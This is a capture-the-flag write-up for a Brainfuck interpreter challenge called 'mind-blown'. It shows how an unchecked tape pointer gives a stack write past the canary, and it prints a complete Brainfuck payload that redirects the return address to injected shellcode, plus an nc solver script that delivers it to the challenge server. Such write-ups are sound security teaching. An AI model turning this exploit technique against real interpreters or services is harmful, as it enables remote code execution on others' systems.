Description:

I wasn't allowed to put the real title of this challenge. I wonder what it was?

They additionally provided the mind-blown binary.

Five bucks says it's brainfuck.

Popping this into Ghidra and descending into hell runProgram, we find the following switch statement:

it's brainfuck

It's brainfuck. All of you collectively owe me five dollars.

Looking a little closer at the memory pointer manipulation commands, we see that the left shift is bounds checked, but the right shift is not:

right shift is not bounds checked

Given that it's incrementing by one and the data variable (the memory tape) is in the stack:

data variable declaration

We have an arbitrary stack write primitive which can write everywhere without destroying the buffer before it. In other words, we can bypass the stack cookie and simply modify the return pointer directly. What would be great is if NX was dis-

nx was disabled

Now that we have arbitrary write and the stack is marked executable, we can actually set up for RCE.

First, we execute the mind-blown binary with gdb and inspect the runProgram stack at the beginning of the execution loop. We simply need to inspect the state of the stack after its zeroed to look for stack items that could allow us to return into the stack.

state of the stack at the beginning of the run loop

Here, we can see that the return pointer is located at 0x1018, the stack base pointer is located at 0x1010, and the base pointer points to 0x1030. To perform our attack, we want to do the following sequence:

  1. write our shellcode to the location where the base pointer is pointing to (0x1030)
  2. copy the base pointer into the return pointer (0x1010 => 0x1018)

We use the following brainfuck code (constructed using python string formatting so we can sleep at night):

">"*0x1030 +         # shift to *%rbp
",>"*30 +            # read 30 bytes of shellcode
"<"*30 + "<"*0x20 +  # shift to %rbp
(                    # loop to copy *%rbp to return address
 ">"*16 + "[-]" +    # zero a temporary byte
 "<"*8 + "[-]" +     # zero the destination byte
 "<"*8 +             # go to the source byte
 "[" +               # until source is zero
   ">"*8 + "+" +     # increment destination
   ">"*8 + "+" +     # increment temporary
   "<"*16 + "-" +    # decrement source
 "]" +
 ">"*16 +            # move to temporary
 "[" +               # until temporary is zero
   "<"*16 + "+" +    # increment source
   ">"*16 + "-" +    # decrement temp
 "]" +
 "<"*16 +            # shift to source
 ">"                 # shift right one to copy next byte
)*8                  # do it 8 times

I used this 27 byte shellcode, then hit enter a couple of times to flush the buffer to the remote.

Then, we use the following solver:

#!/bin/bash

(ls -l payload.txt | cut -d' ' -f 5;
cat payload.txt; 
cat shellcode.bin;
cat) | nc ctf2021.hackpack.club 10996

Note that the trailing cat simply allows us to keep providing input from standard input.

Executing our solver:

flag acquired

Flag: flag{y0u_jusT_bl3w_mY_m1Nd!}